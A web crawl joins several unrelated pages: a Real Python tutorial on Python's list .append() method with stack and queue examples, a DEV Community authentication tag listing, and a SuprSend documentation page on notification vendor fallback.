Inbox for web and mobile, a complete notification center 1 reaction Comments Add Comment 8 min read How to Create an Automated SMS Notification System Charla Bigelow Charla Bigelow Charla Bigelow Follow Apr 18 '23 How to Create an Automated SMS Notification System # mobile # tutorial # twilio 12 reactions Comments 2 comments 7 min read New Datadog integration for Courier notification logs and metrics Charla Bigelow Charla Bigelow Charla Bigelow Follow Apr 12 '23 New Datadog integration for Courier notification logs and metrics # webdev Comments Add Comment 5 min read Streamline your workflow with CourierJS: Our new client-side SDK Charla Bigelow Charla Bigelow Charla Bigelow Follow Apr 10 '23 Streamline your workflow with CourierJS: Our new client-side SDK # javascript # api Comments Add Comment 5 min read Introducing the new and improved Automations designer Charla Bigelow Charla Bigelow Charla Bigelow Follow Apr 3 '23 Introducing the new and improved Automations designer # automation # notifications Comments Add Comment 7 min read Simplifying notifications with the Courier iOS SDK Charla Bigelow Charla Bigelow Charla Bigelow Follow Mar 23 '23 Simplifying notifications with the Courier iOS SDK # mobile # tutorial 1 reaction Comments Add Comment 7 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:27 |
https://realpython.com/python-append/ | Python's .append(): Add Items to Your Lists in Place – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Adding Items to a List With Python’s .append() .append() Adds a Single Item .append() Returns None Populating a List From Scratch Using .append() Using a List Comprehension Switching Back to .append() Creating Stacks and Queues With Python’s .append() Implementing a Stack Implementing a Queue Using .append() in Other Data Structures array.append() deque.append() and deque.appendleft() Conclusion Mark as Completed Share Recommended Video Course Building Lists With Python's .append() Python's .append(): Add Items to Your Lists in Place by Leodanis Pozo Ramos Reading time estimate 19m basics python Mark as Completed Share Table of Contents Adding Items to a List With Python’s .append() .append() Adds a Single Item .append() Returns None Populating a List From Scratch Using .append() Using a List Comprehension Switching Back to .append() Creating Stacks and Queues With Python’s .append() Implementing a Stack Implementing a Queue Using .append() in Other Data Structures array.append() deque.append() and deque.appendleft() Conclusion Remove ads Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Building Lists With Python's .append() Adding items to a list is a fairly common task in Python, so the language provides a bunch of methods and operators that can help you out with this operation. One of those methods is .append() . With .append() , you can add items to the end of an existing list object. You can also use .append() in a for loop to populate lists programmatically. In this tutorial, you’ll learn how to: Work with .append() Populate lists using .append() and a for loop Replace .append() with list comprehensions Work with .append() in array.array() and collections.deque() You’ll also code some examples of how to use .append() in practice. With this knowledge, you’ll be able to effectively use .append() in your programs. Free Download: Get a sample chapter from Python Basics: A Practical Introduction to Python 3 to see how you can go from beginner to intermediate in Python with a complete curriculum, up-to-date for Python 3.8. Adding Items to a List With Python’s .append() Python’s .append() takes an object as an argument and adds it to the end of an existing list , right after its last element: Python >>> numbers = [ 1 , 2 , 3 ] >>> numbers . append ( 4 ) >>> numbers [1, 2, 3, 4] Every time you call .append() on an existing list, the method adds a new item to the end, or right side, of the list. The following diagram illustrates the process: Python lists reserve extra space for new items at the end of the list. A call to .append() will place new items in the available space. In practice, you can use .append() to add any kind of object to a given list: Python >>> mixed = [ 1 , 2 ] >>> mixed . append ( 3 ) >>> mixed [1, 2, 3] >>> mixed . append ( "four" ) >>> mixed [1, 2, 3, 'four'] >>> mixed . append ( 5.0 ) >>> mixed [1, 2, 3, 'four', 5.0] Lists are sequences that can hold different data types and Python objects, so you can use .append() to add any object to a given list. In this example, you first add an integer number , then a string , and finally a floating-point number . However, you can also add another list, a dictionary , a tuple , a user-defined object, and so on. Using .append() is equivalent to the following operation: Python >>> numbers = [ 1 , 2 , 3 ] >>> # Equivalent to numbers.append(4) >>> numbers [ len ( numbers ):] = [ 4 ] >>> numbers [1, 2, 3, 4] In the highlighted line, you perform two operations at the same time: You take a slice from numbers using the expression numbers[len(numbers):] . You assign an iterable to that slice. The slicing operation takes the space after the last item in numbers . Meanwhile, the assignment operation unpacks the items in the list to the right of the assignment operator and adds them to numbers . However, there’s an important difference between using this kind of assignment and using .append() . With the assignment, you can add several items to the end of your list at once: Python >>> numbers = [ 1 , 2 , 3 ] >>> numbers [ len ( numbers ):] = [ 4 , 5 , 6 ] >>> numbers [1, 2, 3, 4, 5, 6] In this example, the highlighted line takes a slice from the end of numbers , unpacks the items in the list on the right side, and adds them to the slice as individual items. Remove ads .append() Adds a Single Item With .append() , you can add a number, list, tuple, dictionary, user-defined object, or any other object to an existing list. However, you need to keep in mind that .append() adds only a single item or object at a time: Python >>> x = [ 1 , 2 , 3 , 4 ] >>> y = ( 5 , 6 ) >>> x . append ( y ) >>> x [1, 2, 3, 4, (5, 6)] What happens here is that .append() adds the tuple object y to the end of your target list, x . What if you want to add each item in y to the end of x as an individual item and get [1, 2, 3, 4, 5, 6] ? In that case, you can use .extend() : Python >>> x = [ 1 , 2 , 3 , 4 ] >>> y = ( 5 , 6 , 7 ) >>> x . extend ( y ) >>> x [1, 2, 3, 4, 5, 6, 7] >>> x = [ 1 , 2 , 3 , 4 ] >>> y = ( 5 , 6 , 7 ) >>> # Equivalent to x.extend(y) >>> x [ len ( x ):] = y >>> x [1, 2, 3, 4, 5, 6, 7] .extend() takes an iterable as an argument, unpacks its items, and adds them to the end of your target list. This operation is equivalent to x[len(x):] = y , which is the same technique you saw in the previous section. .append() Returns None In practice, .append() does its work in place by modifying and growing the underlying list. This means that .append() doesn’t return a new list with an additional new item at the end. It returns None : Python >>> x = [ 1 , 2 , 3 , 4 ] >>> y = x . append ( 5 ) >>> y is None True >>> x [1, 2, 3, 4, 5] Like with several similar methods, .append() changes the underlying list in place. Trying to use the return value of .append() is a common mistake when it comes to learning how mutable sequence types work. Keeping this behavior of .append() in mind will help you prevent errors in your code. Populating a List From Scratch A common problem that you might face when working with lists in Python is how to populate them with several items for further processing. There are two ways to do this: Use .append() and a for loop Use a list comprehension In the next few sections, you’ll learn how and when to use these techniques to create and populate Python lists from scratch. Using .append() One common use case of .append() is to completely populate an empty list using a for loop. Inside the loop, you can manipulate the data and use .append() to add successive results to the list. Say you need to create a function that takes a sequence of numbers and returns a list containing the square root of each number: Python >>> import math >>> def square_root ( numbers ): ... result = [] ... for number in numbers : ... result . append ( math . sqrt ( number )) ... return result ... >>> numbers = [ 1 , 4 , 9 , 16 , 25 , 36 , 49 , 64 , 81 ] >>> square_root ( numbers ) [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0] Here, you define square_root() , which takes a list of numbers as an argument. Inside square_root() , you create an empty list called result and start a for loop that iterates over the items in numbers . In each iteration, you use math.sqrt() to calculate the square root of the current number and then use .append() to add the result to result . Once the loop finishes, you return the resulting list. Note: In the above example, you use sqrt() from math . Python’s math module ships in the standard library and provides math-related functionalities. If you want to dive deeper into math , then check out The Python math Module: Everything You Need to Know . This way of populating lists is fairly common in Python. However, the language provides some convenient constructs that can make the process a lot more efficient and Pythonic . One of these constructs is a list comprehension , which you’ll see in action in the next section. Remove ads Using a List Comprehension In practice, you often replace .append() with a list comprehension when creating a list from scratch and populating it. With a list comprehension, you can reimplement square_root() like this: Python >>> import math >>> def square_root ( numbers ): ... return [ math . sqrt ( number ) for number in numbers ] ... >>> numbers = [ 1 , 4 , 9 , 16 , 25 , 36 , 49 , 64 , 81 ] >>> square_root ( numbers ) [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0] The list comprehension inside square_root() creates a list containing the square root of number for each number in numbers . This reads almost like plain English. Also, this new implementation will be more efficient in terms of processing time than the implementation that uses .append() along with a for loop. Note: Python also offers other kinds of comprehensions, such as set comprehensions, dictionary comprehensions , and generator expressions . To turn .append() into a list comprehension, you just need to put its argument followed by the loop header (without the colon) inside a pair of square brackets. Switching Back to .append() Even though list comprehensions can be more readable and efficient than .append() for populating lists, there might be situations where .append() is a better choice. Suppose you need square_root() to provide your users with detailed information about the progress of calculating the square root of the input list of numbers. To report the operation progress, you can use print() : Python >>> import math >>> def square_root ( numbers ): ... result = [] ... n = len ( numbers ) ... for i , number in enumerate ( numbers ): ... print ( f "Processing number: { number } " ) ... result . append ( math . sqrt ( number )) ... print ( f "Completed: { int (( i + 1 ) / n * 100 ) } %" ) ... return result ... >>> numbers = [ 1 , 4 , 9 , 16 , 25 , 36 , 49 , 64 , 81 ] >>> square_root ( numbers ) Processing number: 1 Completed: 11% ... Processing number: 81 Completed: 100% [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0] Now think of how you can turn the body of square_root() into a list comprehension. Using print() inside a list comprehension doesn’t seem coherent or even possible unless you wrap part of the code in a helper function. So, in this example, using .append() is the right choice. The moral behind the above example is that there are some situations in which you can’t replace .append() with a list comprehension or with any other construct. Creating Stacks and Queues With Python’s .append() So far, you’ve learned how to use .append() to add a single item to a list or to populate lists from scratch. Now it’s time for a different and more specific kind of example. In this section, you’ll learn how to use a Python list to create stack and queue data structures with the minimal required functionality using .append() and .pop() . Implementing a Stack A stack is a data structure that stores items on top of each other. Items come in and out of the stack in a Last-In/First-Out ( LIFO ) fashion. Typically, a stack implements two main operations: push adds an item to the top, or end, of the stack. pop removes and returns the item at the top of the stack. In a list, .append() is equivalent to a push operation, so you can use it to push items onto the stack. Lists also provide .pop() , which optionally takes an integer index as an argument. It returns the item at that index in the underlying list and also removes the item: Python >>> numbers = [ 1 , 2 , 3 ] >>> numbers . pop ( 1 ) 2 >>> numbers [1, 3] >>> numbers . pop () 3 >>> numbers [1] >>> numbers . pop () 1 >>> numbers [] >>> numbers . pop () Traceback (most recent call last): File "<input>" , line 1 , in <module> numbers . pop () IndexError : pop from empty list If you supply an integer index as an argument to .pop() , then the method returns and removes the item at that index in the list. Calling .pop() without an argument returns the last item in the list. Note that .pop() also removes the item from the underlying list. Finally, if you call .pop() on an empty list, then you’ll get an IndexError . With this knowledge, you’re ready to implement a stack using .append() and .pop() . Here’s a class that defines a stack. The class provides .push() and .pop() operations: Python class Stack : def __init__ ( self ): self . _items = [] def push ( self , item ): self . _items . append ( item ) def pop ( self ): try : return self . _items . pop () except IndexError : print ( "Empty stack" ) def __len__ ( self ): return len ( self . _items ) def __repr__ ( self ): return f "Stack( { self . _items } )" In Stack , you first initialize the instance attribute ._items . This attribute holds an empty list that you’ll use to store the items in the stack. Then you code .push() , which implements the push operation using .append() on ._items . You also implement the pop operation by calling .pop() on the underlying list, ._items . In this case, you use a try and except block to handle the IndexError that occurs when you call .pop() on an empty list. Note: In Python, using exceptions to control the flow of a program is a common pattern. Python developers favor this coding style, known as EAFP (Easier to Ask for Forgiveness than Permission), over the coding style known as LBYL (Look Before You Leap). To learn more about these two coding styles, check out LBYL vs EAFP: Preventing or Handling Errors in Python . EAFP can help you prevent race conditions , improve the general performance of a program or a code fragment, and prevent errors from passing silently. You take advantage of a couple of special methods here. The special method .__len__() provides the required functionality for retrieving the length of the internal list ._items . The special method .__repr__() allows you to provide a user-friendly string representation of the stack when printing the data structure to the screen. Here are some examples of how you can use Stack in practice: Python >>> stack = Stack () >>> # Push items onto the top of the stack >>> stack . push ( 1 ) >>> stack . push ( 2 ) >>> # User-friendly printing format >>> stack Stack([1, 2]) >>> print ( stack ) Stack([1, 2]) >>> # Retrieve the length of the stack >>> len ( stack ) 2 >>> # Pop items from the top of the stack >>> stack . pop () 2 >>> stack . pop () 1 >>> stack . pop () Empty stack >>> stack Stack([]) That’s it! You’ve coded a stack data structure that implements the push and pop operations. It also provides functionality to get the length of the underlying list and to print the entire stack in a user-friendly manner. Remove ads Implementing a Queue Queues are data structures that commonly manage their items in a First-In/First-Out ( FIFO ) fashion. Queues work like a pipe in which you push in new items at one end, and old items pop out from the other end. Adding an item to the end of a queue is known as an enqueue operation, and removing an item from the front, or beginning, of a queue is known as a dequeue operation. You can enqueue items using .append() and dequeue them using .pop() . This time, you need to provide 0 as an argument to .pop() just to make it retrieve the first item in the list instead of the last item. Here’s a class that implements a queue data structure using a list to store its items: Python class Queue : def __init__ ( self ): self . _items = [] def enqueue ( self , item ): self . _items . append ( item ) def dequeue ( self ): try : return self . _items . pop ( 0 ) except IndexError : print ( "Empty queue" ) def __len__ ( self ): return len ( self . _items ) def __repr__ ( self ): return f "Queue( { self . _items } )" This class is quite similar to your Stack . The main difference is that .pop() takes 0 as an argument to return and removes the first item in the underlying list, ._items , rather than the last. Note: Using .pop(0) on a Python list isn’t the most efficient way of consuming list items. Luckily, Python’s collections module provides a data structure called deque() , which implements .popleft() as an efficient way of consuming items from the beginning of the deque() . You’ll learn more about using deques a little later in the tutorial. The rest of the implementation is almost identical but uses appropriate names, such as .enqueue() for adding items and .dequeue() for removing them. You can use Queue the same way you used Stack in the above section: just call .enqueue() to add items and .dequeue() to retrieve and remove them. Using .append() in Other Data Structures Other Python data structures also implement .append() . The operating principle is the same as the traditional .append() in a list. The method adds a single item to the end of the underlying data structure. However, there are some subtle differences. In the next two sections, you’ll learn how .append() works in other data structures, such as array.array() and collections.deque() . array.append() Python’s array.array() provides a sequence-like data structure that can compactly represent an array of values. These values must be of the same data type , which is limited to C-style data types, such as characters, integer numbers, and floating-point numbers. array.array() takes the following two arguments: Argument Content Required typecode A single-character code that identifies the data type that the array can store Yes initializer A list, bytes-like object , or iterable that serves as an initializer No The documentation of array provides complete information about all the allowed type codes that you can use when creating arrays. The following example uses the "i" type code to create an array of integer numbers: Python >>> from array import array >>> # Array of integer numbers >>> int_array = array ( "i" , [ 1 , 2 , 3 ]) >>> int_array array('i', [1, 2, 3]) >>> int_array [ 0 ] 1 >>> int_array [: 2 ] array('i', [1, 2]) >>> int_array [ 2 ] = 4 >>> int_array array('i', [1, 2, 4]) To create an array, you need to provide a single-character code to define the data type of the values in the array. You can also provide an optional list of values with the appropriate type to initialize the array. Arrays support most list operations, such as slicing and indexing . Like lists, array.array() also provides a method called .append() . This method works similarly to its list counterpart, adding a single value to the end of the underlying array. However, the value must have a data type that’s compatible with the existing values in the array. Otherwise, you’ll get a TypeError . For example, if you have an array with integer numbers, then you can’t use .append() to add a floating-point number to that array: Python >>> from array import array >>> a = array ( "i" , [ 1 , 2 , 3 ]) >>> a array('i', [1, 2, 3]) >>> # Add a floating-point number >>> a . append ( 1.5 ) Traceback (most recent call last): File "<input>" , line 1 , in <module> a . append ( 1.5 ) TypeError : integer argument expected, got float If you try to add a floating-point number to a , then .append() fails with a TypeError . That’s because Python can’t automatically convert a floating-point number into an integer number without losing information. In contrast, if you have an array with floating-point numbers and try to add integer numbers to it, then your operation will succeed: Python >>> from array import array >>> float_array = array ( "f" , [ 1.0 , 2.0 , 3.0 ]) >>> float_array array('f', [1.0, 2.0, 3.0]) >>> # Add and integer number >>> float_array . append ( 4 ) >>> float_array array('f', [1.0, 2.0, 3.0, 4.0]) Here, you use .append() to add an integer number to an array of floating-point numbers. That’s possible because Python can automatically convert integer numbers into floating-point numbers without losing information in the process. Remove ads deque.append() and deque.appendleft() collections.deque() is another data structure that implements a variation of .append() . A deque is a generalization of a stack and a queue specially designed to support fast and memory-efficient append and pop operations on both of its sides. So if you need to create a data structure with these features, then consider using a deque instead of a list. Note: The name deque is pronounced “deck” and stands for d ouble- e nded que ue. collections.deque() takes the following two optional arguments: Argument Content iterable An iterable that serves as an initializer maxlen An integer number that specifies the maximum length of the deque If you provide a value to maxlen , then your deque will only store up to maxlen items. Once the deque is full, adding a new item will automatically cause the item at the opposite end of the deque to be discarded. On the other hand, if you don’t supply a value to maxlen , then the deque can grow to an arbitrary number of items. In deques, .append() also adds a single item to the end, or right side, of the underlying data structure: Python >>> from collections import deque >>> d = deque ([ 1 , "a" , 3.0 ]) >>> d deque([1, 'a', 3.0]) >>> d . append ( "b" ) >>> d deque([1, 'a', 3.0, 'b']) Like lists, deques can hold different types of items, so .append() adds arbitrary items to the end of the deque. In other words, with .append() , you can add any object to a deque. Besides .append() , deques also provide .appendleft() , which adds a single item to the beginning, or left side, of a deque. Similarly, deques provide .pop() and .popleft() to remove items from the right and left side of the deque, respectively: Python >>> from collections import deque >>> d = deque ([ 1 , "a" , 3.0 ]) >>> d . appendleft ( - 1.0 ) >>> d deque([-1.0, 1, 'a', 3.0]) >>> d . pop () 3.0 >>> d . popleft () -1.0 >>> d deque([1, 'a']) The call to .appendleft() adds -1.0 to the left side of d . On the other hand, .pop() returns and removes the last item in d , and .popleft() returns and removes the first item. As an exercise, you can try to implement your own stack or queue using a deque instead of a list. To do this, you can take advantage of the examples you saw in the section Creating Stacks and Queues With Python’s .append() . Conclusion Python provides a method called .append() that you can use to add items to the end of a given list. This method is widely used either to add a single item to the end of a list or to populate a list using a for loop . Learning how to use .append() will help you process lists in your programs. In this tutorial, you learned: How .append() works How to populate lists using .append() along with a for loop When to replace .append() with a list comprehension How .append() works in array.array() and collections.deque() In addition, you coded some examples of how to use .append() to create data structures, such as stacks and queues . This knowledge will allow you to use .append() to grow your lists efficiently and effectively. Mark as Completed Share Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Building Lists With Python's .append() 🐍 Python Tricks 💌 Get a short & sweet Python Trick delivered to your inbox every couple of days. No spam ever. Unsubscribe any time. Curated by the Real Python team. Send Me Python Tricks » About Leodanis Pozo Ramos Leodanis is a self-taught Python developer, educator, and technical writer with over 10 years of experience. » More about Leodanis Each tutorial at Real Python is created by a team of developers so that it meets our high quality standards. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # authentication Follow Hide User authentication mechanisms Create Post Older #authentication posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Understanding custom auth flow and its implementation.. Sourav Mahato Sourav Mahato Sourav Mahato Follow Jan 12 Understanding custom auth flow and its implementation.. # webdev # programming # zod # authentication Comments Add Comment 1 min read My First Open Source Contribution Was to an Authentication Project — And It Was Surprisingly Friendly Pramod K B Pramod K B Pramod K B Follow Jan 9 My First Open Source Contribution Was to an Authentication Project — And It Was Surprisingly Friendly # opensource # node # typescript # authentication Comments Add Comment 2 min read Building Secure JWT Auth in NestJS: Argon2, Redis Blacklisting, and Token Rotation David Essien David Essien David Essien Follow Jan 12 Building Secure JWT Auth in NestJS: Argon2, Redis Blacklisting, and Token Rotation # nestjs # security # authentication # jwt 1 reaction Comments Add Comment 7 min read OIDC UserInfo Endpoint explained for Backend Engineers Shilpa Gore Shilpa Gore Shilpa Gore Follow Jan 12 OIDC UserInfo Endpoint explained for Backend Engineers # oauth # openidconnect # spring # authentication Comments 1 comment 3 min read Laravel API Authentication dengan Sanctum Muhammad Dhiyaul Atha Muhammad Dhiyaul Atha Muhammad Dhiyaul Atha Follow Jan 11 Laravel API Authentication dengan Sanctum # laravel # api # authentication # webdev Comments Add Comment 3 min read Why WebAuthn Feels Easy — Until You Try to Ship It dqj dqj dqj Follow Jan 8 Why WebAuthn Feels Easy — Until You Try to Ship It # webauthn # security # authentication # backend Comments Add Comment 2 min read I built an auth backend for my own app — then tried selling it to see if it works Geeta Geeta Geeta Follow Jan 7 I built an auth backend for my own app — then tried selling it to see if it works # backend # learning # authentication # mobile Comments Add Comment 2 min read Local Storage vs Cookies for JWT Auth in MERN mayank sagar mayank sagar mayank sagar Follow Jan 5 Local Storage vs Cookies for JWT Auth in MERN # mern # websecurity # authentication # jwt 1 reaction Comments Add Comment 2 min read Trouble with Test After Introducing django-axes harubo harubo harubo Follow Jan 4 Trouble with Test After Introducing django-axes # django # testing # security # authentication Comments Add Comment 2 min read Why Auth0 email_verified Was Missing from My Access Token (And How to Fix It) Anand Rathnas Anand Rathnas Anand Rathnas Follow Jan 3 Why Auth0 email_verified Was Missing from My Access Token (And How to Fix It) # auth0 # jwt # security # authentication Comments Add Comment 3 min read Using Bitmasks for Role-Based Permissions: Stop Querying Your Database Abdullah Bashir Abdullah Bashir Abdullah Bashir Follow Jan 6 Using Bitmasks for Role-Based Permissions: Stop Querying Your Database # webdev # database # authentication # systemdesign Comments Add Comment 11 min read Spring Security 시작하기 - 기본 설정과 인증 dss99911 dss99911 dss99911 Follow Dec 31 '25 Spring Security 시작하기 - 기본 설정과 인증 # backend # spring # springsecurity # authentication Comments Add Comment 2 min read How to fix the "Authentication is disabled" error? dss99911 dss99911 dss99911 Follow Dec 30 '25 How to fix the "Authentication is disabled" error? # tools # mac # macos # authentication Comments Add Comment 1 min read You don’t need to worry about global auth state anymore. Kenneth Nnabuife Kenneth Nnabuife Kenneth Nnabuife Follow Dec 30 '25 You don’t need to worry about global auth state anymore. # npm # authentication # opensource # react 1 reaction Comments Add Comment 1 min read Authentication Methods - OAuth, Basic Auth, and JWT dss99911 dss99911 dss99911 Follow Dec 30 '25 Authentication Methods - OAuth, Basic Auth, and JWT # programming # common # network # authentication Comments Add Comment 2 min read Integrating Authentication and Authorization in Golang: A Practical Guide Pratik Pratik Pratik Follow Dec 26 '25 Integrating Authentication and Authorization in Golang: A Practical Guide # go # authentication # programming Comments Add Comment 7 min read Heavstal Auth — NextAuth Provider for Heavstal Tech HEAVSTAL TECH™ HEAVSTAL TECH™ HEAVSTAL TECH™ Follow Dec 29 '25 Heavstal Auth — NextAuth Provider for Heavstal Tech # nextjs # authentication # oauth # npm 1 reaction Comments Add Comment 2 min read How I Built a Custom Login UI for ZITADEL That Actually Looks Good Huy Pham Huy Pham Huy Pham Follow Jan 6 How I Built a Custom Login UI for ZITADEL That Actually Looks Good # authentication # zitadel # oidc # oauth Comments 1 comment 3 min read Real-World System Design: Authentication, RBAC, and Multi-Tenant Architecture (Part 1) Shailesh Singh Shailesh Singh Shailesh Singh Follow Dec 22 '25 Real-World System Design: Authentication, RBAC, and Multi-Tenant Architecture (Part 1) # systemdesign # authentication Comments Add Comment 3 min read Implementing Passkeys Beyond the Demo Aditya Pradhan Aditya Pradhan Aditya Pradhan Follow Dec 17 '25 Implementing Passkeys Beyond the Demo # passkeys # webauthn # authentication # security Comments Add Comment 4 min read Building Magic Link Authentication with Next.js Server-Side Rendering and Supabase Alec Winter Alec Winter Alec Winter Follow Dec 16 '25 Building Magic Link Authentication with Next.js Server-Side Rendering and Supabase # webdev # nextjs # supabase # authentication Comments Add Comment 5 min read API Security : Understand in 3 Minutes Hongster Hongster Hongster Follow Dec 11 '25 API Security : Understand in 3 Minutes # apisecurity # authentication # authorization # abotwrotethis Comments Add Comment 3 min read Building a Scalable E-Commerce Platform: From Storefront to Warehouse edmondgi edmondgi edmondgi Follow Dec 11 '25 Building a Scalable E-Commerce Platform: From Storefront to Warehouse # storefront # security # authentication Comments Add Comment 3 min read 🚀 Google Auth Website — A Production-Ready Boilerplate with Google SSO & Email Auth Nithya Gujiluva Ravindran Nithya Gujiluva Ravindran Nithya Gujiluva Ravindran Follow Dec 23 '25 🚀 Google Auth Website — A Production-Ready Boilerplate with Google SSO & Email Auth # opensource # sso # authentication # oauth Comments Add Comment 2 min read CoreIdent 0.4: A Ground-Up Rewrite for .NET 10+ Jon Davis Jon Davis Jon Davis Follow Dec 13 '25 CoreIdent 0.4: A Ground-Up Rewrite for .NET 10+ # dotnet # oauth # authentication # opensource Comments Add Comment 4 min read loading... trending guides/resources Angular Authentication with Cookies in 10 minutes Start using OAuth for Office 365 POP/IMAP authentication Building a Production-Ready Authentication System in Next.js, Without Reinventing the Wheel Carific.ai: Building a Production-Ready Auth System with Next.js 16, Better Auth, and TanStack Form NextAuth.js to Better Auth: Why I Switched Auth Libraries Understanding TOTP: What Really Happens When You Generate That 6-Digit Code Session Tokens vs JWTs: The False Dichotomy Building Magic Link Authentication with Next.js Server-Side Rendering and Supabase How to implement Google OAuth in browser extension without “Tabs” permission How I Built a Custom Login UI for ZITADEL That Actually Looks Good The Passkey Revolution: Why 2025 Is the Year Passwords Finally Die Building a Custom OTP Input Component in React Native Integrating Authentication and Authorization in Golang: A Practical Guide Building a Scalable E-Commerce Platform: From Storefront to Warehouse Using Bitmasks for Role-Based Permissions: Stop Querying Your Database SvelteKit Surreal Database Authentication You don’t need to worry about global auth state anymore. Stop Rewriting Authentication in Node.js — I Built a Devise-Inspired Auth Kit How to Build a User Authentication System Microservices Authentication & Authorization: A Beginner's Guide 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:27 |
https://docs.suprsend.com/docs/vendor-fallback | Vendor Fallback - SuprSend, Notification infrastructure for Product teams Skip to main content SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Community Trust Center Platform Status Postman Collection GETTING STARTED What is SuprSend? Quick Start Guide Best Practices Plan Your Integration Go-live checklist CORE CONCEPTS Templates Users Events Workflow Notification Categories Preferences Tenants Lists Broadcast Objects Translations DLT Guidelines Whatsapp Template Guidelines WORKFLOW BUILDER Design Workflow Node List Workflow Settings Trigger Workflow Validate Trigger Payload Tenant Workflows Notification Inbox Overview Multi Tabs React Javascript (Angular, Vuejs etc) React Native Flutter (Headless) PREFERENCE CENTRE Embedded Preference Centre Javascript Angular React VENDOR INTEGRATION GUIDE Overview Email Integrations SMS Integrations Android Push Whatsapp Integrations iOS Push Chat Integrations Vendor Fallback Tenant Vendor INTEGRATIONS Webhook Connectors MONITORING & DEBUGGING Logs Audit Logs Error Guides MANAGE YOUR ACCOUNT Authentication Methods Contact Us Get Started SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Ask AI Contact Us Get Started Get Started Search... Navigation VENDOR INTEGRATION GUIDE Vendor Fallback Documentation API Reference Management API CLI Reference Developer Resources Changelog Documentation API Reference Management API CLI Reference Developer Resources Changelog VENDOR INTEGRATION GUIDE Vendor Fallback OpenAI Open in ChatGPT Guide to setup a fallback vendor to send notification when primary fails to deliver notification. OpenAI Open in ChatGPT We understand that ensuring notification delivery can be challenging, especially when you are dependent on third-party vendors to route your messages to the end user. Factors such as provider limitations, network failures, and service outages can disrupt the delivery of your notifications. To ensure that your messages get delivered promptly and reliably, we have added the support for vendor fallback. With vendor fallback, you can add multiple vendors to the fallback list and If one provider fails, your messages will automatically be rerouted through another provider, minimizing the risk of message delivery failures. It is essential for system notifications like OTPs, password reset mails and some of the transactional use cases like payment confirmation, stock market alerts etc. How Vendor Fallback works? Vendor Fallback logic comprises of 3 major components Vendor Priority List : The list of vendor configurations to be tried in the order of their priority. Fallback time : The time within which the notification should be routed to the next vendor if the first vendor fails to deliver the message Fallback Rule : What are the cases in which fallback would happen. There are 2 cases in which fallback happens currently: if delivery fails, fallback happens immediately if delivery report is not received within fallback time, fallback happens after fallback time is over Success Metric closes workflow and vendor fallback 👍 There can be cases when the notification is delivered to the user but the vendor fails to send delivery report in the fallback period. This may lead to sending duplicate notification to the user. We solved this in vendor fallback method using success metric. Now, success metric not only stops channel routing , it also works as an indication that the user has received the message and stops vendor fallback. Example use case Let’s take an example of OTP verification text (SMS) with the following condition: Primary vendor- Messagebird Fallback 1 vendor- Twilio Fallback within- 30 secs (Fallback to Twilio if Messagebird fails to deliver SMS in 30 secs) Success Metric- “OTP Verification” (do not fallback to Twilio if “OTP verification” event is received within 30 secs) In this case, if Messagebird fails to deliver the SMS within 30 secs of triggering the notification and the “OTP Verification” event is not received, SMS will be routed through Twilio. Setting vendor fallback from SuprSend dashboard Go to SuprSend dashboard -> “Vendor Settings” page and click on Edit List . You can add fallback rule for above example like this: You’ll find all the saved vendor configurations in “Unused Vendor Configuration” . Enable it to add it in the fallback list. Once enabled, you can drag and drop to change the priority of vendors Save the changes after editing. Was this page helpful? Yes No Suggest edits Raise issue Previous Tenant Vendor How to setup per-tenant vendor for routing notifications through tenant vendor instead of the default company vendor. Next ⌘ I x github linkedin youtube Powered by On this page How Vendor Fallback works? Example use case Setting vendor fallback from SuprSend dashboard | 2026-01-13T08:49:27 |
